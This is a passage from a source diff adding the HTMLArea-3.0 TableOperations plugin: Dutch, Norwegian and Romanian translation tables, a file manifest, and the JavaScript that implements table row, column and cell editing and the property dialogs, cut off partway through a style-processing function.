+ "TO-col-delete": "Kolom verwijderen",\r\r
+ "TO-col-insert-after": "Kolom invoegen achter",\r\r
+ "TO-col-insert-before": "Kolom invoegen voor",\r\r
+ "TO-col-split": "Kolom splitsen",\r\r
+ "TO-row-delete": "Rij verwijderen",\r\r
+ "TO-row-insert-above": "Rij invoegen boven",\r\r
+ "TO-row-insert-under": "Rij invoegen onder",\r\r
+ "TO-row-prop": "Rij eigenschappen",\r\r
+ "TO-row-split": "Rij splitsen",\r\r
+ "TO-table-prop": "Tabel eigenschappen",\r\r
+ "Table Properties": "Tabel eigenschappen",\r\r
+ "Text align": "Text uitlijning",\r\r
+ "The bottom side only": "Enkel aan de onderkant",\r\r
+ "The left-hand side only": "Enkel aan de linkerkant",\r\r
+ "The right and left sides only": "Enkel aan de linker en rechterkant",\r\r
+ "The right-hand side only": "Enkel aan de rechterkant",\r\r
+ "The top and bottom sides only": "Enkel aan de bovenen onderkant",\r\r
+ "The top side only": "Enkel aan de bovenkant",\r\r
+ "Top": "Boven",\r\r
+ "Unset color": "Wis kleur",\r\r
+ "Vertical align": "Vertikale uitlijning",\r\r
+ "Width": "Breedte",\r\r
+ "not-del-last-cell": "HTMLArea kan de laatste cel in deze tabel niet verwijderen.",\r\r
+ "not-del-last-col": "HTMLArea kan de laatste kolom in deze tabel niet verwijderen.",\r\r
+ "not-del-last-row": "HTMLArea kan de laatste rij in deze tabel niet verwijderen.",\r\r
+ "percent": "procent",\r\r
+ "pixels": "pixels"\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, <mishoo@infoiasi.ro>\r\r
+// translated into Norwegia: ses@online.no 11.11.03\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Juster",\r\r
+ "All four sides": "Alle fire sider",\r\r
+ "Background": "Bakgrund",\r\r
+ "Baseline": "Grunnlinje",\r\r
+ "Border": "Kantlinje",\r\r
+ "Borders": "Kantlinjer",\r\r
+ "Bottom": "Bunn",\r\r
+ "CSS Style": "Stil [CSS]",\r\r
+ "Caption": "Overskrift",\r\r
+ "Cell Properties": "Celleegenskaper",\r\r
+ "Center": "Sentrer",\r\r
+ "Char": "Tegn",\r\r
+ "Collapsed borders": "Fjern kantlinjer",\r\r
+ "Color": "Farge",\r\r
+ "Description": "Beskrivelse",\r\r
+ "FG Color": "FG farge",\r\r
+ "Float": "Flytende",\r\r
+ "Frames": "rammer",\r\r
+ "Height": "Høyde",\r\r
+ "How many columns would you like to merge?": "Hvor mange kolonner vil du slå sammen?",\r\r
+ "How many rows would you like to merge?": "Hvor mange rader vil du slå sammen?",\r\r
+ "Image URL": "Bildets URL",\r\r
+ "Justify": "Juster",\r\r
+ "Layout": "Layout",\r\r
+ "Left": "Venstre",\r\r
+ "Margin": "Marg",\r\r
+ "Middle": "Midten",\r\r
+ "No rules": "Ingen linjal",\r\r
+ "No sides": "Ingen sider",\r\r
+ "None": "Ingen",\r\r
+ "Padding": "Luft",\r\r
+ "Please click into some cell": "Klikk i en eller annen celle",\r\r
+ "Right": "Høyre",\r\r
+ "Row Properties": "Egenskaper for rad",\r\r
+ "Rules will appear between all rows and columns": "Linjer vil synes mellom alle rader og kolonner",\r\r
+ "Rules will appear between columns only": "Linjer vil synes kun mellom kolonner",\r\r
+ "Rules will appear between rows only": "Linjer vil synes kun mellom rader",\r\r
+ "Rules": "Linjer",\r\r
+ "Spacing and padding": "Luft",\r\r
+ "Spacing": "Luft",\r\r
+ "Summary": "Sammendrag",\r\r
+ "TO-cell-delete": "Slett celle",\r\r
+ "TO-cell-insert-after": "Sett inn celle etter",\r\r
+ "TO-cell-insert-before": "Sett inn celle foran",\r\r
+ "TO-cell-merge": "Slå sammen celler",\r\r
+ "TO-cell-prop": "Egenskaper for celle",\r\r
+ "TO-cell-split": "Del celle",\r\r
+ "TO-col-delete": "Slett kolonne",\r\r
+ "TO-col-insert-after": "Skyt inn kolonne etter",\r\r
+ "TO-col-insert-before": "Skyt inn kolonne før",\r\r
+ "TO-col-split": "Del kolonne",\r\r
+ "TO-row-delete": "Slett rad",\r\r
+ "TO-row-insert-above": "Skyt inn rad foran",\r\r
+ "TO-row-insert-under": "Skyt inn rad etter",\r\r
+ "TO-row-prop": "Egenskaper for rad",\r\r
+ "TO-row-split": "Del rad",\r\r
+ "TO-table-prop": "Tabellegenskaper",\r\r
+ "Table Properties": "Tabellegenskaper",\r\r
+ "Text align": "Juster tekst",\r\r
+ "The bottom side only": "Bunnen kun",\r\r
+ "The left-hand side only": "Venstresiden kun",\r\r
+ "The right and left sides only": "Høyre- og venstresiden kun",\r\r
+ "The right-hand side only": "Høyresiden kun",\r\r
+ "The top and bottom sides only": "The top and bottom sides only",\r\r
+ "The top side only": "Overkanten kun",\r\r
+ "Top": "Overkant", \r\r
+ "Unset color": "Ikke-bestemt farge",\r\r
+ "Vertical align": "Vertikal justering",\r\r
+ "Width": "Bredde",\r\r
+ "not-del-last-cell": "HTMLArea nekter å slette siste cellen i tabellen.",\r\r
+ "not-del-last-col": "HTMLArea nekter å slette siste kolonnen i tabellen.",\r\r
+ "not-del-last-row": "HTMLArea nekter å slette siste raden i tabellen.",\r\r
+ "percent": "prosent",\r\r
+ "pixels": "billedpunkter"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Aliniere",
+ "All four sides": "Toate părţile",
+ "Background": "Fundal",
+ "Baseline": "Baseline",
+ "Border": "Chenar",
+ "Borders": "Chenare",
+ "Bottom": "Jos",
+ "CSS Style": "Stil [CSS]",
+ "Caption": "Titlu de tabel",
+ "Cell Properties": "Proprietăţile celulei",
+ "Center": "Centru",
+ "Char": "Caracter",
+ "Collapsed borders": "Chenare asimilate",
+ "Color": "Culoare",
+ "Description": "Descriere",
+ "FG Color": "Culoare text",
+ "Float": "Poziţie",
+ "Frames": "Chenare",
+ "Height": "Înălţimea",
+ "How many columns would you like to merge?": "Câte coloane vrei să uneşti?",
+ "How many rows would you like to merge?": "Câte linii vrei să uneşti?",
+ "Image URL": "URL-ul imaginii",
+ "Justify": "Justify",
+ "Layout": "Aranjament",
+ "Left": "Stânga",
+ "Margin": "Margine",
+ "Middle": "Mijloc",
+ "No rules": "Fără linii",
+ "No sides": "Fără părţi",
+ "None": "Nimic",
+ "Padding": "Spaţiere",
+ "Please click into some cell": "Vă rog să daţi click într-o celulă",
+ "Right": "Dreapta",
+ "Row Properties": "Proprietăţile liniei",
+ "Rules will appear between all rows and columns": "Vor apărea linii între toate rândurile şi coloanele",
+ "Rules will appear between columns only": "Vor apărea doar linii verticale",
+ "Rules will appear between rows only": "Vor apărea doar linii orizontale",
+ "Rules": "Linii",
+ "Spacing and padding": "Spaţierea",
+ "Spacing": "Între celule",
+ "Summary": "Sumar",
+ "TO-cell-delete": "Şterge celula",
+ "TO-cell-insert-after": "Inserează o celulă la dreapta",
+ "TO-cell-insert-before": "Inserează o celulă la stânga",
+ "TO-cell-merge": "Uneşte celulele",
+ "TO-cell-prop": "Proprietăţile celulei",
+ "TO-cell-split": "Împarte celula",
+ "TO-col-delete": "Şterge coloana",
+ "TO-col-insert-after": "Inserează o coloană la dreapta",
+ "TO-col-insert-before": "Inserează o coloană la stânga",
+ "TO-col-split": "Împarte coloana",
+ "TO-row-delete": "Şterge rândul",
+ "TO-row-insert-above": "Inserează un rând înainte",
+ "TO-row-insert-under": "Inserează un rând după",
+ "TO-row-prop": "Proprietăţile rândului",
+ "TO-row-split": "Împarte rândul",
+ "TO-table-prop": "Proprietăţile tabelei",
+ "Table Properties": "Proprietăţile tabelei",
+ "Text align": "Aliniere",
+ "The bottom side only": "Doar partea de jos",
+ "The left-hand side only": "Doar partea din stânga",
+ "The right and left sides only": "Partea din stânga şi cea din dreapta",
+ "The right-hand side only": "Doar partea din dreapta",
+ "The top and bottom sides only": "Partea de sus si cea de jos",
+ "The top side only": "Doar partea de sus",
+ "Top": "Sus",
+ "Unset color": "Dezactivează culoarea",
+ "Vertical align": "Aliniere pe verticală",
+ "Width": "Lăţime",
+ "not-del-last-cell": "HTMLArea refuză cu laşitate să şteargă ultima celulă din rând.",
+ "not-del-last-col": "HTMLArea refuză cu laşitate să şteargă ultima coloamă din tabela.",
+ "not-del-last-row": "HTMLArea refuză cu laşitate să şteargă ultimul rând din tabela.",
+ "percent": "procente",
+ "pixels": "pixeli"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
+
--- /dev/null
+// Table Operations Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon. Sponsored by http://www.bloki.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://dynarch.com/mishoo
+//
+// $Id: table-operations.js,v 1.1.1.1 2006/05/01 16:46:15 cscott Exp $
+
+// Object that will encapsulate all the table operations provided by
+// HTMLArea-3.0 (except "insert table" which is included in the main file)
+function TableOperations(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = TableOperations.I18N;
+ var bl = TableOperations.btnList;
+ var self = this;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = ["linebreak"];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (!btn) {
+ toolbar.push("separator");
+ } else {
+ var id = "TO-" + btn[0];
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "TableOperations"), false,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ }
+ }
+
+ // add a new line in the toolbar
+ cfg.toolbar.push(toolbar);
+};
+
+TableOperations._pluginInfo = {
+ name : "TableOperations",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Zapatec Inc.",
+ sponsor_url : "http://www.bloki.com",
+ license : "htmlArea"
+};
+
+/************************
+ * UTILITIES
+ ************************/
+
+// retrieves the closest element having the specified tagName in the list of
+// ancestors of the current selection/caret.
+TableOperations.prototype.getClosest = function(tagName) {
+ var editor = this.editor;
+ var ancestors = editor.getAllAncestors();
+ var ret = null;
+ tagName = ("" + tagName).toLowerCase();
+ for (var i in ancestors) {
+ var el = ancestors[i];
+ if (el.tagName.toLowerCase() == tagName) {
+ ret = el;
+ break;
+ }
+ }
+ return ret;
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogTableProperties = function() {
+ var i18n = TableOperations.I18N;
+ // retrieve existing values
+ var table = this.getClosest("table");
+ // this.editor.selectNodeContents(table);
+ // this.editor.updateToolbar();
+
+ var dialog = new PopupWin(this.editor, i18n["Table Properties"], function(dialog, params) {
+ TableOperations.processStyle(params, table);
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_caption":
+ if (/\S/.test(val)) {
+ // contains non white-space characters
+ var caption = table.getElementsByTagName("caption")[0];
+ if (!caption) {
+ caption = dialog.editor._doc.createElement("caption");
+ table.insertBefore(caption, table.firstChild);
+ }
+ caption.innerHTML = val;
+ } else {
+ // search for caption and delete it if found
+ var caption = table.getElementsByTagName("caption")[0];
+ if (caption) {
+ caption.parentNode.removeChild(caption);
+ }
+ }
+ break;
+ case "f_summary":
+ table.summary = val;
+ break;
+ case "f_width":
+ table.style.width = ("" + val) + params.f_unit;
+ break;
+ case "f_align":
+ table.align = val;
+ break;
+ case "f_spacing":
+ table.cellSpacing = val;
+ break;
+ case "f_padding":
+ table.cellPadding = val;
+ break;
+ case "f_borders":
+ table.border = val;
+ break;
+ case "f_frames":
+ table.frame = val;
+ break;
+ case "f_rules":
+ table.rules = val;
+ break;
+ }
+ }
+ // various workarounds to refresh the table display (Gecko,
+ // what's going on?! do not disappoint me!)
+ dialog.editor.forceRedraw();
+ dialog.editor.focusEditor();
+ dialog.editor.updateToolbar();
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ },
+
+ // this function gets called when the dialog needs to be initialized
+ function (dialog) {
+
+ var f_caption = "";
+ var capel = table.getElementsByTagName("caption")[0];
+ if (capel) {
+ f_caption = capel.innerHTML;
+ }
+ var f_summary = table.summary;
+ var f_width = parseInt(table.style.width);
+ isNaN(f_width) && (f_width = "");
+ var f_unit = /%/.test(table.style.width) ? 'percent' : 'pixels';
+ var f_align = table.align;
+ var f_spacing = table.cellSpacing;
+ var f_padding = table.cellPadding;
+ var f_borders = table.border;
+ var f_frames = table.frame;
+ var f_rules = table.rules;
+
+ function selected(val) {
+ return val ? " selected" : "";
+ };
+
+ // dialog contents
+ dialog.content.style.width = "430px";
+ dialog.content.style.height = "580px";
+ dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.editor.imgURL("table-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n["Table Properties"] + "\
+</div> \
+<table style='width:100%'> \
+ <tr> \
+ <td> \
+ <fieldset><legend>" + i18n["Description"] + "</legend> \
+ <table style='width:100%'> \
+ <tr> \
+ <td class='label'>" + i18n["Caption"] + ":</td> \
+ <td class='value'><input type='text' name='f_caption' value='" + f_caption + "'/></td> \
+ </tr><tr> \
+ <td class='label'>" + i18n["Summary"] + ":</td> \
+ <td class='value'><input type='text' name='f_summary' value='" + f_summary + "'/></td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr><td id='--HA-layout'></td></tr> \
+ <tr> \
+ <td> \
+ <fieldset><legend>" + i18n["Spacing and padding"] + "</legend> \
+ <table style='width:100%'> \
+"+// <tr> \
+// <td class='label'>" + i18n["Width"] + ":</td> \
+// <td><input type='text' name='f_width' value='" + f_width + "' size='5' /> \
+// <select name='f_unit'> \
+// <option value='%'" + selected(f_unit == "percent") + ">" + i18n["percent"] + "</option> \
+// <option value='px'" + selected(f_unit == "pixels") + ">" + i18n["pixels"] + "</option> \
+// </select> " + i18n["Align"] + ": \
+// <select name='f_align'> \
+// <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+// <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+// <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+// </select> \
+// </td> \
+// </tr> \
+" <tr> \
+ <td class='label'>" + i18n["Spacing"] + ":</td> \
+ <td><input type='text' name='f_spacing' size='5' value='" + f_spacing + "' /> " + i18n["Padding"] + ":\
+ <input type='text' name='f_padding' size='5' value='" + f_padding + "' /> " + i18n["pixels"] + "\
+ </td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td> \
+ <fieldset><legend>Frame and borders</legend> \
+ <table width='100%'> \
+ <tr> \
+ <td class='label'>" + i18n["Borders"] + ":</td> \
+ <td><input name='f_borders' type='text' size='5' value='" + f_borders + "' /> " + i18n["pixels"] + "</td> \
+ </tr> \
+ <tr> \
+ <td class='label'>" + i18n["Frames"] + ":</td> \
+ <td> \
+ <select name='f_frames'> \
+ <option value='void'" + selected(f_frames == "void") + ">" + i18n["No sides"] + "</option> \
+ <option value='above'" + selected(f_frames == "above") + ">" + i18n["The top side only"] + "</option> \
+ <option value='below'" + selected(f_frames == "below") + ">" + i18n["The bottom side only"] + "</option> \
+ <option value='hsides'" + selected(f_frames == "hsides") + ">" + i18n["The top and bottom sides only"] + "</option> \
+ <option value='vsides'" + selected(f_frames == "vsides") + ">" + i18n["The right and left sides only"] + "</option> \
+ <option value='lhs'" + selected(f_frames == "lhs") + ">" + i18n["The left-hand side only"] + "</option> \
+ <option value='rhs'" + selected(f_frames == "rhs") + ">" + i18n["The right-hand side only"] + "</option> \
+ <option value='box'" + selected(f_frames == "box") + ">" + i18n["All four sides"] + "</option> \
+ </select> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td class='label'>" + i18n["Rules"] + ":</td> \
+ <td> \
+ <select name='f_rules'> \
+ <option value='none'" + selected(f_rules == "none") + ">" + i18n["No rules"] + "</option> \
+ <option value='rows'" + selected(f_rules == "rows") + ">" + i18n["Rules will appear between rows only"] + "</option> \
+ <option value='cols'" + selected(f_rules == "cols") + ">" + i18n["Rules will appear between columns only"] + "</option> \
+ <option value='all'" + selected(f_rules == "all") + ">" + i18n["Rules will appear between all rows and columns"] + "</option> \
+ </select> \
+ </td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td id='--HA-style'></td> \
+ </tr> \
+</table> \
+";
+ var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, table);
+ var p = dialog.doc.getElementById("--HA-style");
+ p.appendChild(st_prop);
+ var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, table);
+ p = dialog.doc.getElementById("--HA-layout");
+ p.appendChild(st_layout);
+ dialog.modal = true;
+ dialog.addButtons("ok", "cancel");
+ dialog.showAtElement(dialog.editor._iframe, "c");
+ });
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogRowCellProperties = function(cell) {
+ var i18n = TableOperations.I18N;
+ // retrieve existing values
+ var element = this.getClosest(cell ? "td" : "tr");
+ var table = this.getClosest("table");
+ // this.editor.selectNodeContents(element);
+ // this.editor.updateToolbar();
+
+ var dialog = new PopupWin(this.editor, i18n[cell ? "Cell Properties" : "Row Properties"], function(dialog, params) {
+ TableOperations.processStyle(params, element);
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_align":
+ element.align = val;
+ break;
+ case "f_char":
+ element.ch = val;
+ break;
+ case "f_valign":
+ element.vAlign = val;
+ break;
+ }
+ }
+ // various workarounds to refresh the table display (Gecko,
+ // what's going on?! do not disappoint me!)
+ dialog.editor.forceRedraw();
+ dialog.editor.focusEditor();
+ dialog.editor.updateToolbar();
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ },
+
+ // this function gets called when the dialog needs to be initialized
+ function (dialog) {
+
+ var f_align = element.align;
+ var f_valign = element.vAlign;
+ var f_char = element.ch;
+
+ function selected(val) {
+ return val ? " selected" : "";
+ };
+
+ // dialog contents
+ dialog.content.style.width = "400px";
+ dialog.content.style.height = "320px";
+ dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.baseURL + dialog.editor.imgURL(cell ? "cell-prop.gif" : "row-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n[cell ? "Cell Properties" : "Row Properties"] + "</div> \
+<table style='width:100%'> \
+ <tr> \
+ <td id='--HA-layout'> \
+"+// <fieldset><legend>" + i18n["Layout"] + "</legend> \
+// <table style='width:100%'> \
+// <tr> \
+// <td class='label'>" + i18n["Align"] + ":</td> \
+// <td> \
+// <select name='f_align'> \
+// <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+// <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+// <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+// <option value='char'" + selected(f_align == "char") + ">" + i18n["Char"] + "</option> \
+// </select> \
+// " + i18n["Char"] + ": \
+// <input type='text' style='font-family: monospace; text-align: center' name='f_char' size='1' value='" + f_char + "' /> \
+// </td> \
+// </tr><tr> \
+// <td class='label'>" + i18n["Vertical align"] + ":</td> \
+// <td> \
+// <select name='f_valign'> \
+// <option value='top'" + selected(f_valign == "top") + ">" + i18n["Top"] + "</option> \
+// <option value='middle'" + selected(f_valign == "middle") + ">" + i18n["Middle"] + "</option> \
+// <option value='bottom'" + selected(f_valign == "bottom") + ">" + i18n["Bottom"] + "</option> \
+// <option value='baseline'" + selected(f_valign == "baseline") + ">" + i18n["Baseline"] + "</option> \
+// </select> \
+// </td> \
+// </tr> \
+// </table> \
+// </fieldset> \
+" </td> \
+ </tr> \
+ <tr> \
+ <td id='--HA-style'></td> \
+ </tr> \
+</table> \
+";
+ var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, element);
+ var p = dialog.doc.getElementById("--HA-style");
+ p.appendChild(st_prop);
+ var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, element);
+ p = dialog.doc.getElementById("--HA-layout");
+ p.appendChild(st_layout);
+ dialog.modal = true;
+ dialog.addButtons("ok", "cancel");
+ dialog.showAtElement(dialog.editor._iframe, "c");
+ });
+};
+
+// this function gets called when some button from the TableOperations toolbar
+// was pressed.
+TableOperations.prototype.buttonPress = function(editor, button_id) {
+ this.editor = editor;
+ var mozbr = HTMLArea.is_gecko ? "<br />" : "";
+ var i18n = TableOperations.I18N;
+
+ // helper function that clears the content in a table row
+ function clearRow(tr) {
+ var tds = tr.getElementsByTagName("td");
+ for (var i = tds.length; --i >= 0;) {
+ var td = tds[i];
+ td.rowSpan = 1;
+ td.innerHTML = mozbr;
+ }
+ };
+
+ function splitRow(td) {
+ var n = parseInt("" + td.rowSpan);
+ var nc = parseInt("" + td.colSpan);
+ td.rowSpan = 1;
+ tr = td.parentNode;
+ var itr = tr.rowIndex;
+ var trs = tr.parentNode.rows;
+ var index = td.cellIndex;
+ while (--n > 0) {
+ tr = trs[++itr];
+ var otd = editor._doc.createElement("td");
+ otd.colSpan = td.colSpan;
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, tr.cells[index]);
+ }
+ editor.forceRedraw();
+ editor.updateToolbar();
+ };
+
+ function splitCol(td) {
+ var nc = parseInt("" + td.colSpan);
+ td.colSpan = 1;
+ tr = td.parentNode;
+ var ref = td.nextSibling;
+ while (--nc > 0) {
+ var otd = editor._doc.createElement("td");
+ otd.rowSpan = td.rowSpan;
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, ref);
+ }
+ editor.forceRedraw();
+ editor.updateToolbar();
+ };
+
+ function splitCell(td) {
+ var nc = parseInt("" + td.colSpan);
+ splitCol(td);
+ var items = td.parentNode.cells;
+ var index = td.cellIndex;
+ while (nc-- > 0) {
+ splitRow(items[index++]);
+ }
+ };
+
+ function selectNextNode(el) {
+ var node = el.nextSibling;
+ while (node && node.nodeType != 1) {
+ node = node.nextSibling;
+ }
+ if (!node) {
+ node = el.previousSibling;
+ while (node && node.nodeType != 1) {
+ node = node.previousSibling;
+ }
+ }
+ if (!node) {
+ node = el.parentNode;
+ }
+ editor.selectNodeContents(node);
+ };
+
+ switch (button_id) {
+ // ROWS
+
+ case "TO-row-insert-above":
+ case "TO-row-insert-under":
+ var tr = this.getClosest("tr");
+ if (!tr) {
+ break;
+ }
+ var otr = tr.cloneNode(true);
+ clearRow(otr);
+ tr.parentNode.insertBefore(otr, /under/.test(button_id) ? tr.nextSibling : tr);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+ case "TO-row-delete":
+ var tr = this.getClosest("tr");
+ if (!tr) {
+ break;
+ }
+ var par = tr.parentNode;
+ if (par.rows.length == 1) {
+ alert(i18n["not-del-last-row"]);
+ break;
+ }
+ // set the caret first to a position that doesn't
+ // disappear.
+ selectNextNode(tr);
+ par.removeChild(tr);
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ break;
+ case "TO-row-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitRow(td);
+ break;
+
+ // COLUMNS
+
+ case "TO-col-insert-before":
+ case "TO-col-insert-after":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var rows = td.parentNode.parentNode.rows;
+ var index = td.cellIndex;
+ for (var i = rows.length; --i >= 0;) {
+ var tr = rows[i];
+ var ref = tr.cells[index + (/after/.test(button_id) ? 1 : 0)];
+ var otd = editor._doc.createElement("td");
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, ref);
+ }
+ editor.focusEditor();
+ break;
+ case "TO-col-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitCol(td);
+ break;
+ case "TO-col-delete":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var index = td.cellIndex;
+ if (td.parentNode.cells.length == 1) {
+ alert(i18n["not-del-last-col"]);
+ break;
+ }
+ // set the caret first to a position that doesn't disappear
+ selectNextNode(td);
+ var rows = td.parentNode.parentNode.rows;
+ for (var i = rows.length; --i >= 0;) {
+ var tr = rows[i];
+ tr.removeChild(tr.cells[index]);
+ }
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ break;
+
+ // CELLS
+
+ case "TO-cell-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitCell(td);
+ break;
+ case "TO-cell-insert-before":
+ case "TO-cell-insert-after":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var tr = td.parentNode;
+ var otd = editor._doc.createElement("td");
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, /after/.test(button_id) ? td.nextSibling : td);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+ case "TO-cell-delete":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ if (td.parentNode.cells.length == 1) {
+ alert(i18n["not-del-last-cell"]);
+ break;
+ }
+ // set the caret first to a position that doesn't disappear
+ selectNextNode(td);
+ td.parentNode.removeChild(td);
+ editor.forceRedraw();
+ editor.updateToolbar();
+ break;
+ case "TO-cell-merge":
+ // !! FIXME: Mozilla specific !!
+ var sel = editor._getSelection();
+ var range, i = 0;
+ var rows = [];
+ var row = null;
+ var cells = null;
+ if (!HTMLArea.is_ie) {
+ try {
+ while (range = sel.getRangeAt(i++)) {
+ var td = range.startContainer.childNodes[range.startOffset];
+ if (td.parentNode != row) {
+ row = td.parentNode;
+ (cells) && rows.push(cells);
+ cells = [];
+ }
+ cells.push(td);
+ }
+ } catch(e) {/* finished walking through selection */}
+ rows.push(cells);
+ } else {
+ // Internet Explorer "browser"
+ var td = this.getClosest("td");
+ if (!td) {
+ alert(i18n["Please click into some cell"]);
+ break;
+ }
+ var tr = td.parentElement;
+ var no_cols = prompt(i18n["How many columns would you like to merge?"], 2);
+ if (!no_cols) {
+ // cancelled
+ break;
+ }
+ var no_rows = prompt(i18n["How many rows would you like to merge?"], 2);
+ if (!no_rows) {
+ // cancelled
+ break;
+ }
+ var cell_index = td.cellIndex;
+ while (no_rows-- > 0) {
+ td = tr.cells[cell_index];
+ cells = [td];
+ for (var i = 1; i < no_cols; ++i) {
+ td = td.nextSibling;
+ if (!td) {
+ break;
+ }
+ cells.push(td);
+ }
+ rows.push(cells);
+ tr = tr.nextSibling;
+ if (!tr) {
+ break;
+ }
+ }
+ }
+ var HTML = "";
+ for (i = 0; i < rows.length; ++i) {
+ // i && (HTML += "<br />");
+ var cells = rows[i];
+ for (var j = 0; j < cells.length; ++j) {
+ // j && (HTML += " ");
+ var cell = cells[j];
+ HTML += cell.innerHTML;
+ (i || j) && (cell.parentNode.removeChild(cell));
+ }
+ }
+ var td = rows[0][0];
+ td.innerHTML = HTML;
+ td.rowSpan = rows.length;
+ td.colSpan = rows[0].length;
+ editor.selectNodeContents(td);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+
+ // PROPERTIES
+
+ case "TO-table-prop":
+ this.dialogTableProperties();
+ break;
+
+ case "TO-row-prop":
+ this.dialogRowCellProperties(false);
+ break;
+
+ case "TO-cell-prop":
+ this.dialogRowCellProperties(true);
+ break;
+
+ default:
+ alert("Button [" + button_id + "] not yet implemented");
+ }
+};
+
+// the list of buttons added by this plugin
+TableOperations.btnList = [
+ // table properties button
+ ["table-prop", "table"],
+ null, // separator
+
+ // ROWS
+ ["row-prop", "tr"],
+ ["row-insert-above", "tr"],
+ ["row-insert-under", "tr"],
+ ["row-delete", "tr"],
+ ["row-split", "td[rowSpan!=1]"],
+ null,
+
+ // COLS
+ ["col-insert-before", "td"],
+ ["col-insert-after", "td"],
+ ["col-delete", "td"],
+ ["col-split", "td[colSpan!=1]"],
+ null,
+
+ // CELLS
+ ["cell-prop", "td"],
+ ["cell-insert-before", "td"],
+ ["cell-insert-after", "td"],
+ ["cell-delete", "td"],
+ ["cell-merge", "tr"],
+ ["cell-split", "td[colSpan!=1,rowSpan!=1]"]
+ ];
+
+
+
+//// GENERIC CODE [style of any element; this should be moved into a separate
+//// file as it'll be very useful]
+//// BEGIN GENERIC CODE -----------------------------------------------------
+
+TableOperations.getLength = function(value) {
+ var len = parseInt(value);
+ if (isNaN(len)) {
+ len = "";
+ }
+ return len;
+};
+
+// Applies the style found in "params" to the given element.
+TableOperations.processStyle = function(params, element) {
+ var style = element.style;
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
